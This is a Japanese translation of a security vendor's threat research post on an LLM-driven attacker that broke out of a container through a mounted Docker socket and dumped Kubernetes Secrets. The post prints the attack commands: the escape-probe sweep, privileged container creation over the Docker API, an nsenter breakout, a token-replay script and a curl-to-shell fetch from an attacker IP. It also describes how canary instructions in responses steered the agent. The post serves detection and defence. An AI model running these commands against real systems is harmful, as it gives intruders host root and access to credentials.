
Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

本文の内容は、2026年6月4日に Michael Clark が投稿したブログ (https://www.sysdig.com/blog/agentic-threat-actor-hits-the-orchestration-plane-ai-agent-driven-container-escape) を元に日本語に翻訳・再構成した内容となっております。
2026年5月29日、Sysdig 脅威リサーチチーム(TRT)は、ある脅威アクターが脆弱なmarimoノートブック(CVE-2026-39987)を悪用し、アプリケーションを超えた完全自動化されたキルチェーンを駆動する様子を観測しました。各ステージには、エージェント型脅威アクター(ATA:Agentic Threat Actor)の痕跡が刻まれていました。ATAとは、キーボードを叩く人間ではなく、大規模言語モデル(LLM)のハーネスによって操作が駆動される攻撃者を指します。今回のオペレーションでSysdig TRTが観測したATAの行動は以下のとおりです。
- ホストのDockerソケットの列挙。
- Copy Failを経由したカーネルレベルの権限昇格経路の探索。
- 特権コンテナを作成し、ホストへブレイクアウト。
- ホストのshadowファイルとSSHキーの読み取り。
- 盗み出したKubernetesのサービスアカウントトークンをリプレイし、クラスター全体のSecretストアをダンプ。
同じmarimo脆弱性に対してSysdig TRTが以前プロファイルしたLLM駆動のオペレーターと今回の攻撃者を分けるのは、エージェントがどこへ向かうかです。以前のエージェントは、侵害したノートブックを、AWSに向けた認証情報ピボット用デバイスとして扱っていました。今回のATAは、コンテナとオーケストレーションプレーンの奥深くへと入り込み、マウントされたDockerソケットをエスケーププリミティブとして利用し、nsenterでホストへブレイクアウトし、Kubernetesのサービスアカウントトークンをリプレイしました。これは、コンテナエスケープとKubernetes認証情報のリプレイを、人間ではなくエージェントハーネスが実行した、私たちが観測した初のオペレーターです。
エージェント型のシグネチャー
ポストエクスプロイトの手口を考える前から、二つの独立したシグナルが、この攻撃をエージェント駆動であると裏付けます。
第一に、オペレーターのエージェントは、JSONエラーレスポンスに仕込まれたcanary(カナリア)を含む相関メッセージを解析し、そのトークンが参照するエンドポイントへ後続リクエストを発行することで、そのcanaryに反応しました。レスポンスボディをレビューする人間は、こうした埋め込み指示を読み飛ばします。レスポンスストリーム全体を権威あるコンテキストとして解析するクライアントだけが、それに反応します。
また、オペレーターのターミナルツールは、シェルストリーム内に埋め込まれた不可視のエスケープシーケンスでラップされた指示をエコーバックしており、人間が読むレンダリング済みターミナルではなく、生のバイトストリームを読むツールが介在していることを裏付けています。
第二に、コマンドストリーム自体が、タイプ入力ではなく機械的にスクリプト化されています。ペイロードは、一時ファイルにチャンク単位でbase64として書き込まれ、デコードされて実行されます(base64 -d /tmp/r_.b64 > /tmp/r_.py; python3 /tmp/r_.py)。攻撃エージェントは、このチャンネルに実コードを任せる前に、ユニットテストを行いました。すなわち、捨て駒のcanaryペイロード(helloのbase64、続けてhelloにworldを追記するチャンク版で、append→decodeが正しく往復することを確認)を書き込んでデコードし、ステージング用ハーネスが動作することを確認できてから初めて、実際のエスケープとKubernetes用スクリプトを送り込みました。
各プローブブロックは、明示的なセクションマーカー(echo "===SHADOW==="、echo "===SSH===")で区切られており、次のエージェントターンが出力を切り分けられるようになっています。これは、他のLLM駆動オペレーターでも私たちがカタログ化してきた、パース可能な境界を設ける慣習と同じです。プローブは高いリトライ倍率で発行され、ターン間で前の結果に応じて適応します。配信メカニズム自体を使い捨てのcanaryで検証してから利用する攻撃者は、インタラクティブシェルの前にいる人間ではなく、自律的なハーネスとして振る舞っています。
観測内容
フェーズ1:エスケープベクトルの列挙とDockerソケット経由のブレイクアウト
シェルを確立した後、攻撃エージェントは、エスケープを試みる前に、自身のコンテナコンテキストと利用可能なすべてのブレイクアウトプリミティブをマッピングする一連のプローブを実行しました。各スイープは一つのコマンドであり、各チェックの前にはアンダースコア区切りのセクションマーカー(SOCK、CAPS、CORE、AFALG、K8S)が置かれているため、次のエージェントターンは結合された出力から各結果を切り出せます。
echo _DOCKER_ && test -f /.dockerenv && echo DOCKER_YES || echo DOCKER_NO # containerized?
echo _SOCK_ && test -S /var/run/docker.sock && echo SOCK_YES || echo SOCK_NO # Docker socket exposed?
echo _SECCOMP_ && grep -i seccomp /proc/1/status # seccomp posture
echo _CAPS_ && grep CapEff /proc/1/status # effective capability bitmask
echo _CORE_ && test -w /proc/sys/kernel/core_pattern && echo CORE_WRITABLE || echo CORE_NOT_WRITABLE
echo _AFALG_ && python3 -c "import socket;s=socket.socket(38,5,0);s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'));print('AFALG_OK')" 2>&1
echo _K8S_ && test -f /var/run/secrets/kubernetes.io/serviceaccount/token && echo K8S_YES || echo K8S_NO
echo _IMDS_ && curl -s -m3 http://169.254.169.254/latest/meta-data/ | head -1 # cloud metadata reachable?
echo _CGROUP_ && cat /proc/1/cgroup | head -1 # runtime / cgroup
echo _END_
このスイープは、エスケープサーフェス全体をワンパスで列挙します。コンテナ検出(/.dockerenv, /proc/1/cgroup)、マウントされたDockerソケット、effective capabilityビットマスクとseccomp状態、書き込み可能なcore_pattern、AF_ALGカーネルクリプトインターフェイス、クラウドのインスタンスメタデータ、マウントされたKubernetesのサービスアカウントトークンが対象です。続くターンでは、直接メモリへのチェックも追加されました:python3 -c "import os; print('MEM=' + str(os.path.exists('/dev/mem')))"。
AFALGプローブは最も特徴的で、注意深く読む価値があります。これはCopy Failの到達可能性テストです。socket.socket(38, 5, 0)はカーネルクリプトのsocket(AF_ALG、アドレスファミリ38)を開き、bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))を行います。これにより攻撃エージェントは、Copy Failの攻撃対象領域が利用可能かを判定できます。今回のケースでは利用できませんでした。
Dockerソケットが到達可能であることを確認した攻撃エージェントは、デーモンを列挙し(/info、/containers/json、/images/json)、これをブレイクアウトベクトルとして選択しました。Dockerのexecエンドポイントに頼るのではなく、各ホストコマンドをコンテナ作成時のCmdに直接焼き込み、その結果をコンテナの出力ストリームから読み返す、というワンショットの「作成して読み取る」操作を、キャンペーンを通じて繰り返し利用しました。レジストリへのエグレスを伴わないよう、新たにイメージをプルすることなく、ホストのローカルストアに既に存在するイメージを再利用しています。呼び出しは、curlを使ってソケットへ直接行われます。
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
http://localhost/containers/create -d '{
"Image": "<host-local-image>",
"Cmd": ["cat", "/host/etc/shadow"],
"HostConfig": {"Binds": ["/:/host", "/home/deploy/.ssh:/host-ssh:ro"],
"Privileged": true, "PidMode": "host",
"NetworkMode": "host", "IpcMode": "host"}}'
-> {"Id": "<container-id>", "Warnings": []}
アプリケーションコンテナに/var/run/docker.sockがマウントされているホストでは、これにより完全なホストrootが手に入ります。特権コンテナは/hostでホストのルートファイルシステムを参照しつつ、ホストのPID、ネットワーク、IPC名前空間を共有して動作します。これにより攻撃エージェントは、新しいコンテナから完全なホストアクセスを得られます。そのコンテナを起動してログを読み取ると、/etc/shadowからのホスト認証情報と、読み取り専用の/host-sshバインドの下にあるdeployユーザーのSSH秘密鍵が返ってきました。
$ cat /host/etc/shadow
root:*:XXXXX:0:99999:7:::
daemon:*:XXXXX:0:99999:7:::
...
ubuntu:$6$<salt>$<hash>:XXXXX:0:99999:7:::
deploy:$6$<salt>$<hash>:XXXXX:0:99999:7:::
$ cat /host-ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
<KEY>
-----END OPENSSH PRIVATE KEY-----
攻撃エージェントは、こうした「作成して読み取る」呼び出しを連続して発行し、それぞれに異なるホスト偵察コマンドを焼き込みました。shadowファイル、deployのSSH秘密鍵、rootのauthorized_keys、そして追加の鍵素材を探すfind /host -name id_rsa -o -name id_ed25519 -o -name '*.pem'のスイープです。バインドマウントのパスが利用できない場合は、第二のエスケーププリミティブにフォールバックし、PID 1のホスト名前空間に直接入っていきました。
nsenter --target 1 --mount --uts --net --pid -- sh -c "cat /etc/shadow; cat /root/.ssh/authorized_keys"
あるエスケープコンテナは、Cmdに第二段のフェッチを焼き込み、ホストファイルシステムを読み書き可能でマウントした状態で、外部インフラからペイロードを取得して実行しました。
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
http://localhost/containers/create -d '{
"Image": "<host-local-image>",
"Cmd": ["sh", "-c", "(curl -fsSL -m180 http[://]43.167.11.88:8084/slt||wget -T180 -q http[://]43.167.11.88:8084/slt)|sh"],
"HostConfig": {"Binds": ["/:/host:rw"], "Privileged": true,
"NetworkMode": "host", "PidMode": "host", "IpcMode": "host", "UtsMode": "host"}}'
注目すべきは、ATAが教科書的なエスケーププリミティブ(ユーザー空間ソケットエスケープ、カーネルLPEのプローブ、ホストバインドマウント、nsenterによる名前空間ブレイクアウト)を使った、という点です。一方、その後のエスカレーションはそれぞれ独自であり、前回の試行が返した内容に応じて選択されています。
フェーズ2:Kubernetesサービスアカウントのリプレイ
列挙スイープはすでに、マウントされたサービスアカウントトークンを検出していました。攻撃エージェントは、プロジェクトボリュームのパスから直接トークンを読み取りました。
$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
<TOKEN>
このトークンはdefault ネームスペースのバインド済みサービスアカウントへとデコードされ、アプリケーションPodにマウントされていました。続いて攻撃エージェントは、Pythonスクリプトをステージングしました(以前ユニットテストした/tmp/r_.b64と同じハーネス経由でbase64チャンクとして配信)。このスクリプトはトークンを読み、TLS検証を無効化し、クラスター内のAPIサーバーに対してリプレイします。
TOKEN = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip()
BASE = "https://kubernetes.default.svc:6443"
ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
def k8s(path):
req = urllib.request.Request(BASE + path, headers={"Authorization": "Bearer " + TOKEN})
return json.loads(urllib.request.urlopen(req, context=ctx, timeout=10).read())
# enumerate namespaces, then list and read every Secret in the namespace
for s in k8s("/api/v1/namespaces/default/secrets")["items"]:
... # decode and print each secret's data
このリプレイは、ネームスペースのSecretを一覧表示し、それぞれを読み取りました。取得された出力は、Secretストアが列挙されダンプされていることを示しています。
SECRET:XXXXXX-credentials
SECRET:redisXXXXXX
SECRET:openai-api-key
SECRET:slack-webhook
...
Secret: dbcredentials | Keys: ['DATABASE_URL', 'DB_PASSWORD', 'DB_USER']
DATABASE_URL: postgresql://app:<redacted>@db.internal:5432/appdb
DB_PASSWORD: <redacted>
DB_USER: app
たった一度のトークンリプレイで、ATAはアプリケーション層のRCEから、クラスターのSecretストア全体へと移動しました。データベース認証情報、AWSキー、OpenAI APIキー、Slack webhook、SSHキーまでも対象です。侵害されたアプリケーションPodから到達可能なバインド済みサービスアカウントトークンと、Secretをlist/getできるほど寛容なロールベースアクセスコントロール(RBAC)バインディングの組み合わせは、アプリケーション侵害をクラスター全体の認証情報漏えいへと一気に潰してしまいます。ダンプされたシークレットは、下流のクラウド、データベース、サーバーへのアクセスのための種となります。
これが意味すること
この攻撃は、エージェント型オペレーターのトレンドを、コンテナとオーケストレーションプレーンへと押し進めるものです。5月に文書化したエージェント駆動のオペレーションは、AWS認証情報のリプレイを扇状に広げるためにLLMハーネスを利用していました。今回のATAはLLMを用いて、コンテナエスケープ、ホスト名前空間ブレイクアウト、Kubernetesサービスアカウントのリプレイを実行し、ライブの結果に基づいてエスケーププリミティブを選択しています。
技術自体はよく知られたものであり、ホスト層での検知も存在します。しかし変化したのは、自律エージェントが人間を介さずにそれらを連鎖させ、人間ならば決して気づかないレスポンスコンテキスト内の指示に反応することで、自身の挙動を確認している、という点です。
防御側にとっての実務的な帰結は、インターネット到達可能なアプリケーションコンテナにマウントされたDockerソケットや、過剰権限のサービスアカウントトークンが、もはや「人間のペースでゆっくり進む権限昇格リスク」ではないということです。それは、ホストとクラスターのSecretストアの双方を、ワンステップでマシンスピードで奪取するエージェント駆動のテイクオーバーとなります。エージェントはユーザー空間ソケット、カーネルLPE、名前空間ブレイクアウトといったエスケーププリミティブを並列に試し、どれかが成功するまで続けます。
セキュリティ侵害指標(IoC)
送信元およびコマンド&コントロール(C2)インフラ
- 103.43.71.95(KFNetworks、AS136209、韓国):marimoの悪用および下流のリプレイのオリジンIP
- 43.167.11.88(Aceville Pte. Ltd. / Tencent、AS132203、シンガポール):第二段のインフラ。エスケープペイロードは http[://]43.167.11.88:8084/slt を取得し、シェルへパイプしていました
送信元IPは中程度の品質の指標として扱ってください。運用上有用なシグナルは、後述する挙動上のフィンガープリントです。
推奨事項
- marimoをバージョン0.23.0以降に更新してください。修正はターミナルのWebSocketエンドポイントに認証検証を組み込んでおり、ワンラインのパッチです。
/var/run/docker.sockをアプリケーションコンテナにマウントしないでください。ソケットをマウントすることは、そのコンテナにホストrootを与えるのと等価です。攻撃エージェントはこれをワンステップのホストエスケープへ変えました。- アプリケーションコンテナは非特権で実行してください。読み取り専用のルートファイルシステム、capabilityのドロップ、制限的なseccompプロファイルを使用してください。nsenter方式の名前空間入りをブロックする同じプロファイルは、Copy Fail LPEが必要とする
AF_ALGソケットも拒否します。ホスト側では、algif_*モジュールをブラックリスト化すれば、コンテナプロファイルにかかわらずそのカーネル経路を塞げます。 - Kubernetesのサービスアカウントトークンを厳密にスコープしてください。必要のない場所では自動マウントを無効化し、bound short-TTLトークンを使用し、単一ワークロードのトークンがネームスペース内でSecretをlist/getできないように、ましてクラスター全体に対しても不可能となるようにRBACを制約してください。
- ワークロードのサービスアカウントから到達可能なKubernetesシークレットとして保存されている認証情報、ならびにmarimoプロセスやそのホストから到達可能なAWSキー、SSHキー、データベースパスワードはすべてローテーションしてください。クラウドの発行は、スコープされたIAMロールを伴うインスタンスメタデータへ移行してください。
- 上記の挙動上のフィンガープリントをランタイム検知ツールで監視してください。コンテナエスケープとサービスアカウントリプレイの段階こそ、防御側が最も多くのシグナルを得られる場面です。
まとめ
これは、コンテナエスケープとKubernetes認証情報のリプレイを、人間ではなくLLMエージェントが駆動した、Sysdig TRTが観測した初のオペレーターです。エスケープ手法そのものは新しいものではありません。新しいのは、自律エージェントがその場でそれらを選び取り、レスポンスコンテキストに仕込まれた指示に反応することで自身の挙動を確認している、という点です。
エージェントのハーネスが成熟するにつれて、コンテナとオーケストレーションプレーンは、マシンスピードかつ適応的なポストエクスプロイトが日常になる次の表面となります。この種の攻撃チェーンに見舞われないために、Dockerソケットをアプリケーションコンテナに公開しないこと、サービスアカウントトークンをスコープすること、そしてホストソケットをマウントしているインターネット到達可能なノートブックは、エージェント攻撃者にとってワンステップでホストとクラスターを奪取できるデバイスである、と想定してください。